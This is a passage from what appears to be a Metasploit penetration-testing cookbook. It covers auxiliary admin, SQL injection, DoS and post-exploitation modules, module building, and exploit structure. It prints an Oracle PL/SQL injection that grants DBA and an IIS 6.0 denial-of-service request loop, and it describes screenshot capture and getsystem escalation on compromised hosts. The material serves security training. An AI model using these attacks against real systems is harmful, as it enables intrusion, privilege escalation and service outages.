window:\nroot@bt: cd /pentest/passwords\nroot@bt:/pentest/passwords# apt-get install crunch\n"
},
{
"page_number": 188,
"text": "Chapter 7\n173\nThe basic syntax of crunch looks as follows:\n./ crunch [-f /path/to/charset.lst charset-\nname] [-o wordlist.txt]\n [-t [FIXED]@@@@] [-s startblock] [-c number]\nLet us understand the functionality of some of the useful parameters of the crunch utility:\nf\nf\nmin-len: Minimum length string to start at\nf\nf\nmax-len: Maximum length string to end at\nf\nf\ncharset: Defines the character set to use\nf\nf\n-b: Number[type: kb/mb/gb] - it specifies the size of the output file\nf\nf\n-f : Allows us to specify a \ncharacter set from the charset.lst\nf\nf\n-o : Defines the file to save the output\nf\nf\n-t <@*%^>: This is used to add those texts which are sure to appear in the password\nA complete documentation on the crunch utility can be found at the following URL:\nhttp://sourceforge.net/projects/crunch-wordlist/files/crunch-\nwordlist/\nYou can go through the complete documentation to figure out how we can use this utility to \ngenerate long and complex password lists.\nWorking with auxiliary admin modules\nMoving ahead with our module experiment, we will learn about some admin modules which \ncan be really handy during penetration testing. The admin modules can serve different \npurposes, such as it can look for an admin panel, or it can try for admin login, and so on. \nIt depends upon the functionality of the module. Here we will look at a simple admin auxiliary \nmodule named the mysql_enum module.\nGetting ready\nThe mysql_enum module is a special utility module for MySQL database servers. \nThis module provides simple enumeration of the MySQL database server provided \nproper credentials are granted to connect remotely. Let us understand it in detail by \nusing the module.\n"
},
{
"page_number": 189,
"text": "Working with Modules for Penetration Testing\n174\nHow to do it...\nWe will start with launching the msfconsole and providing the path for the auxiliary module:\nmsf > use auxiliary/admin/mysql/mysql_enum\nmsf auxiliary(mysql_enum) > show options\nModule options (auxiliary/admin/mysql/mysql_enum):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the..\n RHOST yes The target address\n RPORT 3306 yes The target port\n USERNAME no The username to..\nAs you can see, the module accepts password, username, and RHOST as parameters. This \ncan help the module in first searching for the existence of a MySQL database and then apply \nthe credentials to try for remote login. Let us analyze the output of the exploit command:\nmsf auxiliary(mysql_enum) > exploit\n[*] Configuration Parameters: \n[*] C2 Audit Mode is Not Enabled \n[*] xp_cmdshell is Enabled \n[*] remote access is Enabled \n[*] allow updates is Not Enabled \n[*] Database Mail XPs is Not Enabled \n[*] Ole Automation Procedures are Not Enabled \n[*] Databases on the server: \n[*] Database name:master\nThe module responds with lots of useful information. It tells us that cmdshell and remote \naccess has been enabled on our target MySQL setup. It also returns the database name \nwhich is currently in process on the target machine.\nThere are several similar modules available for other services such as MSSQL and Apache. \nThe working process is similar for most of the modules. Remember to use the show options \ncommand in order to make sure that you are passing the required parameters to the module.\n"
},
{
"page_number": 190,
"text": "Chapter 7\n175\nHow it works...\nThese auxiliary admin modules function by a simple enumeration process by launching \na connection and then passing the username and password combination. It can also be \nused to check whether anonymous login is supported by the database server or not. We can \nalso test for a default username and password like MySQL uses \"scott\" and \"tiger\" as default \nlogin credentials.\nSQL injection and DOS attack modules\nMetasploit is friendly for both penetration testers as well as hackers. The reason for this \nis that a penetration tester has to think from the hacker's perspective in order to secure \ntheir network, services, applications, and so on. The SQL injection and DOS modules helps \npenetration testers in attacking their own services in order to figure out if they are susceptible \nto such attacks. So let's discuss some of these modules in detail.\nGetting ready\nThe SQL injection module uses a known vulnerability in the database type to exploit it \nand provide unauthorized access. The vulnerability is known to affect Oracle 9i and 10g. \nMetasploit contains several modules that use a known exploit in the Oracle database in order \nto break them through query injection. The modules can be found in modules/auxiliary/\nsqli/oracle.\nHow to do it...\nLet us analyze an oracle vulnerability named Oracle DBMS_METADATA XML vulnerability. \nThis vulnerability will escalate the privilege from DB_USER to DB_ADMINISTRATOR (Database \nAdministrator). We will be using the dbms_metadata_get_xml module:\nmsf auxiliary(dbms_metadata_get_xml) > show options\nModule options (auxiliary/sqli/oracle/dbms_metadata_get_xml):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n DBPASS TIGER yes The password to..\n DBUSER SCOTT yes The username to..\n RHOST yes The Oracle host.\n RPORT 1521 yes The TNS port.\n SID ORCL yes The sid to authenticate.\n SQL GRANT DBA to SCOTT no SQL to execute.\n"
},
{
"page_number": 191,
"text": "Working with Modules for Penetration Testing\n176\nThe module requests for similar parameters which we have seen so far. The database first \nchecks to login by using the default login credentials, that is, \"scott\" and \"tiger\" as the default \nusername and password respectively. Once the module gains login as a database user, it then \nexecutes the exploit to escalate the privilege to the database administrator. Let us execute the \nmodule as a test run on our target.\nmsf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1\nmsf auxiliary(dbms_metadata_get_xml) > set SQL YES\nmsf auxiliary(dbms_metadata_get_xml) > run\nOn successful execution of the module, the user privilege will be escalated from DB_USER \nto DB_ADMINISTRATOR.\nThe next module that we will cover is related to the Denial Of Service (DOS) attack. \nWe will analyze a simple IIS 6.0 vulnerability which allows the attacker to crash the server \nby sending a POST request containing more than 40000 request parameters. We will analyze \nthe vulnerability shortly. This module has been tested on an unpatched Windows 2003 \nserver running IIS 6.0. The module we will be using is ms10_065_ii6_asp_dos:\nmsf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos\nmsf auxiliary(ms10_065_ii6_asp_dos) > show options\nModule options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n RHOST yes The target address\n RPORT 80 yes The target port\n URI /page.asp yes URI to request\n VHOST no The virtual host name to..\nmsf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1\nRHOST => 192.168.56.1\nmsf auxiliary(ms10_065_ii6_asp_dos) > run\n[*] Attacking http://192.168.56.1:80/page.asp\n"
},
{
"page_number": 192,
"text": "Chapter 7\n177\nOnce the module is executed using the run command, it will start attacking the target IIS \nserver by sending an HTTP request on port 80 with the URI as page.asp. Successful execution \nof the module will lead to a complete denial of the service of the IIS server.\nHow it works...\nLet us take a quick look at the two vulnerabilities. The oracle database vulnerability is \nexploited by injecting a custom PL/SQL function which is executed in SYS context and it \nelevates the privilege of user \"scott\" as administrator.\nConsider this example function:\nCREATE OR REPLACE FUNCTION \"SCOTT\".\"ATTACK_FUNC\" return varchar2 \nauthid current_user as \npragma autonomous_transaction; \nBEGIN \nEXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; \nCOMMIT; \nRETURN ''; \nEND; \n/\nNow injecting this function in the vulnerable procedure will lead to a privilege escalation \nfor the user scott.\nSELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') \nFROM dual;\nThe preceding lines of codes explain the injection process. The detailed analysis of \nvulnerability in the Oracle software is beyond the scope of the book.\nNow moving the DOS attack module which exploits vulnerability in the IIS 6.0 server. \nThe attacker sends a POST request which includes more than 40000 request parameters, \nand is sent in the form of an application/x-www-form-urlencoded encoding type.\nHere is a part of a script that serves the module:\nwhile(1)\n begin\n connect\n payload = \"C=A&\" * 40000\n length = payload.size\n sploit = \"HEAD #{datastore['URI']} HTTP/1.1\\r\\n\"\n sploit << \"Host: #{datastore['VHOST'] || rhost}\\r\\n\"\n sploit << \"Connection:Close\\r\\n\"\n sploit << \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n"
},
{
"page_number": 193,
"text": "Working with Modules for Penetration Testing\n178\n sploit << \"Content-Length:#{length} \\r\\n\\r\\n\"\n sploit << payload\n sock.put(sploit)\n #print_status(\"DoS packet sent.\")\n disconnect\n rescue Errno::ECONNRESET\n next\n end\n end\nAs you can see, the script generates a payload size of more than 40000. Then, a connection \nis established on port 80 to send an HTTP request to the IIS server. Once the request has \nbeen rendered by the server, it will crash and will stop working unless restarted. \nPost-exploitation modules\nSo far, we have worked a lot on the post exploitation phase using various powers of meterpreter. \nHowever, we also have a separate dedicated list of modules that can enhance our penetration \ntesting experience. As they are post exploitation modules, we will need an active session with \nour target. We can use any of the methods described in previous chapters to gain access to \nour target.\nGetting ready\nThe post module is a collection of some of the most interesting and handy features that you can \nuse while penetration testing. Let us quickly analyze some of them here. Here we are using an \nunpatched Windows 7 machine as our target with an active meterpreter session.\nHow to do it...\nYou can locate the post modules in modules/post/windows/gather. Let us start with \na simple enum_logged_on_users module. This post module will list the current logged in \nusers in the Windows machine.\nWe will execute the module through our active meterpreter session. Also, keep in mind to \nescalate the privilege by using the getsystem command in order to avoid any errors during \nthe execution of the module.\nmeterpreter > getsystem\n...got system (via technique 4).\n"
},
{
"page_number": 194,
"text": "Chapter 7\n179\nmeterpreter > run post/windows/gather/enum_logged_on_users\n[*] Running against session 1\nCurrent Logged Users\n====================\n SID User\n --- ----\n S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\\DARKLORD\nRecently Logged Users\n=====================\n SID Profile Path\n --- ------------\n S-1-5-18 %systemroot%\\system32\\config\\systemprofile\n S-1-5-19 C:\\Windows\\ServiceProfiles\\LocalService\n S-1-5-20 C:\\Windows\\ServiceProfiles\\NetworkService\n S-1-5-21-23502 C:\\Users\\DARKLORD\n S-1-5-21-235 C:\\Users\\Winuser\nSuccessful execution of the module shows us two tables. The first table reflects the currently \nlogged in user and the second table reflects the recently logged in user. Follow the correct \npath while executing the modules. We have used the run command to execute the modules \nas they are all in the form of Ruby script so meterpreter can easily identify it.\nLet us take one more example. There is an interesting post module that captures \na screenshot of the target desktop. This module can be useful when we have to know \nwhether there is any active user or not. The module we will use is screen_spy.rb:\nmeterpreter > run post/windows/gather/screen_spy\n[*] Migrating to explorer.exe pid: 1104\n[*] Migration successful\n[*] Capturing 60 screenshots with a delay of 5 seconds\n"
},
{
"page_number": 195,
"text": "Working with Modules for Penetration Testing\n180\nYou might have noticed how easy and useful post modules can be. In the coming future, the \ndevelopers of Metasploit will be focusing more on post modules rather than meterpreter as it \ngreatly enhances the functionality of penetration testing. So if you are looking to contribute to \nthe Metasploit community then you can work on post modules.\nHow it works...\nWe can analyze the scripts of enum_logged_on_user.rb and screen_spy.rb at \nmodules/post/windows/gather. It can help us in getting insight about how these \nmodules function.\nUnderstanding the basics of module building\nSo far, we have seen the utility of modules and the power that they can add to the framework. \nIn order to master the framework, it is essential to understand the working and building of \nmodules. This will help us in quickly extending the framework according to our needs. In the \nnext few recipes, we will see how we can use ruby scripting to build our own modules and \nimport them into the framework.\nGetting ready\nTo start building our own module we will need basic knowledge of Ruby scripting. We have \nalready discussed the use and implementation of Ruby in meterpreter scripting. In this recipe, \nwe will see how we can use Ruby to start building modules for the framework. The process is \nvery much similar to meterpreter scripting. The difference lies in using a set of pre-defined lines \nthat will be required in order to make the framework understand the requirements and nature \nof the module. So let us discuss some of the essential requirements for module building.\nHow to do it...\nEvery module in the framework is in the form of a Ruby script and is located in the modules \ndirectory. We will have to import some of the framework libraries depending on our needs. \nLet us move ahead and see how we can import the libraries in our script and design a \nfully-functional module.\nHow it works...\nLet us start with some of the basics of module building. In order to make our module readable \nfor the framework, we will have to import MSF libraries:\nrequire 'msf/core'\n"
},
{
"page_number": 196,
"text": "Chapter 7\n181\nThis is the first and foremost line of every script. This line tells that the module will include all \nthe dependencies and functionalities of the Metasploit framework.\nclass Metasploit3 < Msf::Auxiliary\nThis line defines the class which inherits the properties of the auxiliary family. The auxiliary \nmodule can import several functionalities such as scanning, opening connections, using the \ndatabase, and so on:\ninclude Msf::\nThe include statement can be used to include a particular functionality of the framework into \nour own module. For example, if we are building a scanner module then we can include it as:\ninclude Msf::Exploit::Remote::TCP\nThis line will include the functionality of a remote TCP scan in the module. This line will pull \nout the main scan module libraries from the Metasploit library:\ndef initialize\n super(\n 'Name' => 'TCP Port Scanner',\n 'Version' => '$Revision$',\n 'Description' => 'Enumerate open TCP \nservices',\n 'Author' => [ darklord ],\n 'License' => MSF_LICENSE\n )\nThe next few lines of script give us an introduction about the module like its name, version, \nauthor, description, and so on:\nregister_options(\n [\n \nOptString.new('PORTS', [true, \"Ports to scan (e.g. 25,80,110-900)\", \n\"1-10000\"]),\n \nOptInt.new('TIMEOUT', [true, \"The socket connect timeout in \nmilliseconds\", 1000]),\n \n OptInt.new('CONCURRENCY', [true, \"The number of concurrent ports to \ncheck per host\", 10]), self.class)\n \nderegister_options('RPORT')\n"
},
{
"page_number": 197,
"text": "Working with Modules for Penetration Testing\n182\nThe next few lines of the script are used to initialize values for the script. The options which \nare marked as true are those which are essentially required for the modules, whereas \nthe options marked as no are optional. These values can be passed/changed during the \nexecution of the module.\nThese are some common lines of script that you will find in every module. Analysis of in-built \nscripts is the best way to learn more about script building. There are a few documentations \navailable for learning module building. The best way to learn is by mastering Ruby scripting \nand by analyzing existing modules. In the next recipe, we will analyze a complete module \nfrom scratch. \nAnalyzing an existing module\nNow that we have built some background about module building in our previous recipe, \nour next step will be to analyze existing modules. It is highly recommended that you should \nlook at the scripts of existing modules if you have to learn and dive deeper into module and \nplatform development. \nGetting ready\nWe will analyze a simple ftp module here in order to dive deeper into module building.\nWe will proceed from where we left off in the previous recipe. We have already discussed \nthe basic template of the module in the previous recipe so here we will start from the main \nbody of the script.\nHow to do it...\nWe will be analyzing the ftp anonymous access module. You can find the main script at the \nfollowing location: pentest/exploits/framework3/modules/auxiliary/scanner/\nftp/anonymous.rb\nHere is the complete script for your reference:\nclass Metasploit3 < Msf::Auxiliary\n include Msf::Exploit::Remote::Ftp\n include Msf::Auxiliary::Scanner\n include Msf::Auxiliary::Report\n def initialize\n super(\n 'Name' => 'Anonymous FTP Access Detection',\n 'Version' => '$Revision: 14774 $',\n"
},
{
"page_number": 198,
"text": "Chapter 7\n183\n 'Description' => 'Detect anonymous (read/write) FTP server \naccess.',\n 'References' =>\n [\n ['URL', 'http://en.wikipedia.org/wiki/File_Transfer_\nProtocol#Anonymous_FTP'],\n ],\n 'Author' => 'Matteo Cantoni ',\n 'License' => MSF_LICENSE\n )\n register_options(\n [\n Opt::RPORT(21),\n ], self.class)\n end\n def run_host(target_host)\n begin\n res = connect_login(true, false)\n banner.strip! if banner\n dir = Rex::Text.rand_text_alpha(8)\n if res\n write_check = send_cmd( ['MKD', dir] , true)\n if (write_check and write_check =~ /^2/)\n send_cmd( ['RMD', dir] , true)\n print_status(\"#{target_host}:#{rport} Anonymous READ/WRITE \n(#{banner})\")\n access_type = \"rw\"\n else\n print_status(\"#{target_host}:#{rport} Anonymous READ \n(#{banner})\")\n access_type = \"ro\"\n end\n report_auth_info(\n :host => target_host,\n :port => rport,\n :sname => 'ftp',\n :user => datastore['FTPUSER'],\n"
},
{
"page_number": 199,
"text": "Working with Modules for Penetration Testing\n184\n :pass => datastore['FTPPASS'],\n :type => \"password_#{access_type}\",\n :active => true\n )\n end\n disconnect\n rescue ::Interrupt\n raise $!\n rescue ::Rex::ConnectionError, ::IOError\n end\n end\nend\nLet us move to the next section and analyze the script in detail.\nHow it works...\nLet us start with the analysis of the main script body to understand how it works:\ndef run_host(target_host) \n begin \n res = connect_login(true, false) \n banner.strip! if banner \n dir = Rex::Text.rand_text_alpha(8)\nThis function is used to begin the connection. The res variable holds the Boolean value true \nor false. The connect_login function is a specific function used by the module to establish \na connection with the remote host. Depending upon the success or failure of connection, the \nBoolean value is stored in res.\nif res \n write_check = send_cmd( ['MKD', dir] , true) \n \n if (write_check and write_check =~ /^2/) \n send_cmd( ['RMD', dir] , true) \n print_status(\"#{target_\nhost}:#{rport} Anonymous READ/WRITE (#{banner})\") \n access_type = \"rw\" \n \n else \n print_status(\"#{target_\nhost}:#{rport} Anonymous\naccess_type=\"ro\"\n"
},
{
"page_number": 200,
"text": "Chapter 7\n185\nOnce the connection has been set up, the module tries to check if the anonymous user has \nread/write privileges or not. The write_check variable checks if a write operation is possible \nor not. Then it is checked whether the operation succeeded or not. Depending upon the status \nof the privilege, a message is printed on the screen. If the write operation fails then the status \nis printed as ro or read-only:\nreport_auth_info( \n :host => target_host, \n :port => rport, \n :sname => 'ftp', \n :user => datastore['FTPUSER'], \n :pass => datastore['FTPPASS'], \n :type => \"password_#{access_type}\",\n :active => true\n \n )\n \nend\nThe next function is used to report authorization info. It reflects important parameters such \nas host, port, user, pass, and so on. These are the values that appear to us when we use the \nshow options command so these values are user dependent.\nThis was a quick demonstration of how a simple module functions within the framework. \nYou can change the existing scripts accordingly to meet your needs. This makes the platform \nextremely portable to development. As I have said it, the best way to learn more about module \nbuilding is by analyzing the existing scripts.\nIn the next recipe, we will see how to build our own module and pass it into the framework.\nBuilding your own post-exploitation module\nNow we have covered enough background about building modules. Here, we will see \nan example of how we can build our own module and add it into the framework. Building \nmodules can be very handy as they will give us the power of extending the framework \ndepending on our need.\nHow to do it...\nLet us build a small post exploitation module that will enumerate all the installed applications \non the target machine. As it is a post exploitation module, we will require a compromised \ntarget in order to execute the module.\n"
},
{
"page_number": 201,
"text": "Working with Modules for Penetration Testing\n186\nTo start with building the module, we will first import the framework libraries and include the \nrequired dependencies:\nrequire 'msf/core'\nrequire 'rex' \nrequire 'msf/core/post/windows/registry'\n \nclass Metasploit3 < Msf::Post \n include Msf::Post::Windows::Registry \n \n def initialize(info={}) \n super( update_info( info,\n \n 'Name' => 'Windows Gather Installed \nApplication Enumeration', \n 'Description' => %q{ This module will enumerate all \ninstalled applications }, \n 'License' => MSF_LICENSE, \n 'Platform' => [ 'windows' ],\n 'SessionTypes' => [ 'meterpreter' ]\n ))\n end\nThe script starts with including the Metasploit core libraries. Then, we build up the class that \nextends the properties of Msf::Post modules.\nNext, we create the initialize function which is used to initialize and define the module \nproperties and description. This basic structure remains the same in almost all modules. \nThe thing to note here is that we have included 'rex', as well as 'registry' libraries. This will \nmake the framework easy to figure out our requirements in the module.\nNow, our next step will be to create a table that can display our extracted result. We have \na special library Rex::Ui::Text which can be used for this task. We will have to define \ndifferent columns:\ndef app_list \n tbl = Rex::Ui::Text::Table.new( \n 'Header' => \"Installed Applications\", \n 'Indent' => 1, \n 'Columns' => \n [ \n \"Name\", \n"
},
{
"page_number": 202,
"text": "Chapter 7\n187\n \"Version\" \n ]) \n appkeys = [ \n 'HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\\nCurrentVersion\\\\Uninstall', \n 'HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\\nCurrentVersion\\\\Uninstall', \n 'HKLM\\\\SOFTWARE\\\\WOW6432NODE\\\\Microsoft\\\\\nWindows\\\\CurrentVersion\\\\Uninstall', \n 'HKCU\\\\SOFTWARE\\\\WOW6432NODE\\\\Microsoft\\\\\nWindows\\\\CurrentVersion\\\\Uninstall', \n ] \n apps = [] \n appkeys.each do |keyx86| \n found_keys = registry_enumkeys(keyx86) \n if found_keys \n found_keys.each do |ak| \n apps << keyx86 +\"\\\\\" + ak \n end\n end \n end\nThe script body starts with building the table and providing different column names. Then, a \nseparate array of registry locations is created which will be used to enumerate the application \nlist. The array will consist of different registry entries that contain information about installed \napplications on the target machine. The application information is maintained in a separate \narray named as apps.\nThen, we start the enumeration process by running a loop that looks into different registry \nlocations stored in the appskey array:\nt = [] \n while(not apps.empty?) \n 1.upto(16) do \n t << framework.threads.spawn(\"Module(#{self.refname})\", false, \napps.shift) do |k| \n begin \n dispnm = registry_getvaldata(\"#{k}\",\"DisplayName\") \n dispversion = registry_getvaldata(\"#{k}\",\"DisplayVersion\") \n tbl << [dispnm,dispversion] if dispnm and dispversion \n rescue \n end \nend\n"
},
{
"page_number": 203,
"text": "Working with Modules for Penetration Testing\n188\nThe next lines of script populate the table with different values in the respective columns. \nThe script uses an in-built function registry_getvaldata which fetches the values and \nadds them to the table:\nresults = tbl.to_s \n print_line(\"\\n\" + results + \"\\n\") \n p = store_loot(\"host.applications\", \"text/plain\", \nsession, results, \"applications.txt\", \"Installed Applications\") \n print_status(\"Results stored in: #{p}\") \n end \n def run \n print_status(\"Enumerating applications installed on \n#{sysinfo['Computer']}\") \n app_list \n end \nend\nThe last few lines of the script are used for storing the information in a separate text file \nnamed applications.txt. The file is populated by using the store_loot function \nwhich stores the complete table in the text file.\nFinally, an output is displayed on the screen stating that the file has been created \nand results have been stored in it.\nThe next step will be to store the complete program in a respective directory. You have to \nmake sure that you choose the correct directory for storing your module. This will help the \nframework in clearly understanding the utility of the module and will maintain a hierarchy. \nMaintaining a hierarchy while updating modules will help in keeping a proper track of what \nexactly the module is targeting. For example, keeping an Internet Explorer module under the \nmodules/exploits/windows/browser directory will help us in easily locating any new or \nexisting browser module at this location.\nTo identify the location of module storage, there are the following points you should look at:\nf\nf\nType of module\nf\nf\nOperation performed by the module\nf\nf\nAffected software or operating system\nMetasploit follows the hierarchy of 'generalized to specialized' format for storing modules. \nIt starts with the type of modules such as an exploit module or an auxiliary module. Then it \npicks up a generalized name, for example the name of an affected operating system. Then it \ncreates a more specialized functionality, for example the module is used for browsers. Finally, \nthe most specific naming is used like the name of the browser that the module is targeting.\n"
},
{
"page_number": 204,
"text": "Chapter 7\n189\nLet us consider our module. This module is a post exploitation module that is used \nto enumerate a Windows operating system and gathers information about the system. \nSo our module should follow this convention for storing.\nSo our destination folder should be modules/post/windows/gather/.\nYou can save the module with your desired name and with a.rb extension. Let's save \nit as enum_applications.rb.\nHow it works...\nOnce we have saved the module in its preferred directory, the next step will be to execute \nit and see if it is working fine. We have already seen the process of module execution in \nprevious recipes. The module name is used to execute it from the MSF terminal:\nmsf> use post/windows/gather/enum_applications\nmsf post(enum_applications) > show options\nModule options (post/windows/gather/enum_applcations)\nName Current Setting Required Description \nSESSION yes The session.. \nThis was a small example of how you can build and add your own module to the framework. \nYou definitely need a sound knowledge of Ruby scripting if you want to build good modules. \nYou can also contribute to the Metasploit community by releasing your module and let others \nbenefit from it.\n"
},
{
"page_number": 205,
"text": ""
},
{
"page_number": 206,
"text": "8\nWorking with Exploits\nIn this chapter, we will cover:\nf\nf\nExploiting the module structure\nf\nf\nCommon exploit mixins\nf\nf\nWorking with msfvenom\nf\nf\nConverting exploit to a Metasploit module\nf\nf\nPorting and testing the new exploit module\nf\nf\nFuzzing with Metasploit\nf\nf\nWriting a simple FileZilla FTP fuzzer\nIntroduction\nLet us start this chapter with a formal introduction to exploits. Exploit can be a piece of \nsoftware, a chunk of data or a sequence of commands that takes advantage of vulnerability or a \nbug in another software to execute user-intended instructions. These user-intended instructions \ncan cause unusual behavior in the vulnerable software. Exploits play a vital role in penetration \ntesting as it can provide an easy entry into the target system.\nSo far, we have used the power of exploits extensively to perform penetration testing. The point \nto note here is that we cannot directly use any stand-alone proof of concept or exploit code into \nthe Metasploit framework. We will have to convert it into a framework understandable module. \nThe process is similar to development of auxiliary modules with some additional fields. This \nchapter will cover every detail that you need to know while you are working with exploits within \nthe framework. We will not be covering those aspects which are related to developing exploits \nas it is a separate area of study. Here, we will use the available proof of concepts of exploits and \nsee how it can be added into the framework. We will also learn about some important mixins \nthat can ease the process of converting exploits into the Metasploit module. At the end, we will \ncover some recipes focusing on fuzzing modules. So let us move ahead with the recipes.\n"
},
{
"page_number": 207,
"text": "Working with Exploits\n192\nExploiting the module structure\nIt is very essential to understand the exploit module structure as it will help us in proper \nanalysis of different exploit modules. As the Metasploit framework is an open source project, \nits development depends on the contribution from the community. Developers from around the \nglobe convert proof of concepts of various exploits into the Metasploit module, so that it can \nbe used by everyone. Hence, you can also contribute to the community by converting newly \ndiscovered exploits into modules. Also, there can be a situation where you need a particular \nexploit which is not in the framework. Knowledge about the exploit module structure will help \nyou in easily converting the exploit into a module.\nGetting ready\nLet us start the recipe with understanding the modular structure of exploits within the \nframework. It is similar to an auxiliary structure with some specific fields. You can find the \nexploit modules in the /pentest/exploits/framework3 directory. Let us analyze the \nstructure of exploits in MSF.\nHow to do it...\nAs we said earlier, the format of an exploit module is similar to auxiliary with some \nspecific additions:\nrequire 'msf/core'\nclass Metasploit3 < Msf::Exploit::Remote\n Rank = ExcellentRanking\n include Msf::Exploit::Remote::Tcp\n include Msf::Exploit::EXE\nThe module starts with including the MSF core libraries into the script, along with the \ndeclaration of a class which extends the properties relevant to the exploit. In this example, \nthe Metasploit3 class extends Remote Exploit libraries. Further, the script includes \nother libraries such as TCP:\ndef initialize(info = {})\n super(update_info(info,\n 'Name' => '',\n 'Description')\n \n"
},
{
"page_number": 208,
"text": "Chapter 8\n193\nThen, we have the initialize function that is used to initialize the different values and \ncontent definition about the modules. Some of the primary definitions of this function include \nName, Description, Author, Version, and so on:\nregister_options(\n [\n Opt::RPORT(7777),\n ], self.class)\n end\nThen, we have the register options part of the script which is responsible for providing \nessential and default values of the script. The values can be changed according to users \nneeds as well. So far, it has been very much similar to auxiliary modules. The difference \nlies in defining the exploit() function: \ndef exploit\n connect()\n sock.put(payload.encoded)\n handler()\n disconnect()\n end\nThis is the main exploit body of the module that contains the shell code or the exploit \npattern. The content of this function varies from exploit to exploit. Some of the key features \nthat may exist in a remote exploit are listed in the body of the function. connect() is used \nto open a remote connection with the target. It is a function defined in the Remote::TCP \nlibrary. A payload is also an essential part of the exploit body which helps in setting up back \nconnections. We can also define handlers in the exploit body depending on the need.\nOptionally, you can also declare a vulnerability test function, check(), which verifies whether \nthe target is vulnerable or not. It verifies for all options except the payload.\nThis was a basic introduction to exploit modules of Metasploit. In the later recipes, we will \ndiscuss some core concepts related to exploits in the framework.\nHow it works...\nThe exploit module structure we just analyzed is Metasploit's way of making things \nunderstandable. Consider the function def initialize(). This part helps the module \nin picking up common exploit definitions. Similarly, register_options() is used by \nMetasploit to pick up different parameters or assign default parameter values to the exploit \nmodule. This is where modular architecture becomes handy. Later in this chapter, we will see \nhow to convert an existing exploit code into a Metasploit module. \n"
},
{
"page_number": 209,
"text": "Working with Exploits\n194\nCommon exploit mixins\nMixins are a comprehensive mechanism in Ruby language to include functionality into a \nmodule. Mixins provide a way to have multiple-inheritance in a single-inheritance language like \nRuby. Using mixins in exploit modules can help in calling different functions that the exploit \nwill require. In this recipe, we will learn about some important Metasploit exploit mixins.\nHow to do it...\nLet us take a quick look at some of the common exploit mixins. Then, we will see its \nimplementation in an existing exploit module.\nf\nf\nExploit::Remote::TCP: This mixin provides TCP functionality to the module. \nIt can be used to set up a TCP connection. connect() and disconnect() \nfunctions are responsible for setting up and terminating connections respectively. \nIt requires different parameters, such as RHOST, RPORT, SSL.\nf\nf\nExploit::Remote::UDP: This mixin is used for UDP functionality in the module. \nUDP is generally treated as a faster mode of connectivity over TCP so it can \nalso be a handy option when dealing with modules. This mixin further includes \nRex::Socket::UDP which removes the overhead of worrying about setting socket \nconnections with the target.\nf\nf\nExploit::Remote::DCERPC: This mixin provides utility methods for interacting \nwith a DCE/RPC service on a remote machine. The methods of this mixin are \ngenerally useful in the context of exploitation. This mixin extends the TCP mixin. \ndcerpc_call(), dcerpc_bind(), and so on are some useful functions of the \nDCE/RPC mixin.\nf\nf\nExploit::Remote::SMB: This mixin defines functions that can help in \ncommunicating with the SMB service on the remote target. smb_login(), \nsmb_create(),and so on are some useful functions present in this mixin.\nf\nf\nExploit::BruteTargets: This is an interesting mixin that is used to brute \nforce the target. It uses the exploit_target(target) function to receive the \nremote target IP and perform brute force. This mixin can be easily extended in \ndifferent brute force exploits.\nf\nf\nExploit::Remote::Ftp: This mixin can be used to exploit an FTP service on the \nremote target. The mixin includes Remote::TCP in order to setup a connection with \nthe remote target. It uses the connect() function that receives values of RHOST and \nRPORT in order to connect with the FTP server on the remote system.\nf\nf\nExploit::Remote::MSSQL: This mixin helps in querying with the remote database. \nThe Mssql_ping() function queries for the database availability and stores the ping \nresponse as hash. The Mssql_xpcmdshell() function is used to execute system \ncommands using xp_cmdshell. This mixin is very handy when dealing with exploits \nrelated to MS SQL.\n"
},
{
"page_number": 210,
"text": "Chapter 8\n195\nf\nf\nExploit::Capture: This mixin is helpful in sniffing data packets flowing in the \nnetwork. The open_pcap() function is used to setup a device for capturing packets \nflowing through it. This mixin requires presence of pcap installed on the machine. \nTwo important functions of this mixin include inject(pkt=\"\", pcap=self.\ncapture) and inject_reply(). The former is responsible for injecting packets \ninto networking devices while the latter function is responsible for reporting the \nresultant packet returned by the device depending upon the injected packet.\nThese are some of the important exploit mixins that can be very handy when you are working \nwith exploit modules within the framework. Use of mixins reduces the overhead of recoding \nsame modules repeatedly. This is the reason why modular architecture is very flexible as it \nfacilitates code reuse.\nHow it works...\nAs stated earlier, mixins are used to provide multiple-inheritance in a single-inheritance \nlanguage like Ruby. What we mean by that is we can call different functionalities in any \nmodule depending on our need. For example, if we want to establish a TCP connection \nin our exploit module, it is not required to define a complete function for it. We can simply \ncall the mixin, Exploit::Remote::TCP, in our module and leverage its functionality. \nThere's more...\nLet us list some more important mixins.\nSome more mixins\nApart from the previously mentioned mixins, there are many more crucial mixins present in \nthe framework. These include fileformat, imap, java, smtp, she, and so on. You can find \nthese mixins at lib/msf/core/exploit.\nWorking with msfvenom\nWe have read about mefencode and msfpayload in Chapter 4, Client-side Exploitation and \nAntivirus Bypass. Let us take a small recap. msfpayload is used to generate binary from \nthe payload, whereas msfencode is used for encoding the binary using different encoding \ntechniques. Here we will discuss another Metasploit tool which is a combination of both. \nThis tool can play an important role in generating exploits that can execute stealthily.\nGetting ready\nTo start our experiment with msfvenom, launch the terminal window and pass on the \nmsfvenom –h command.\n"
},
{
"page_number": 211,
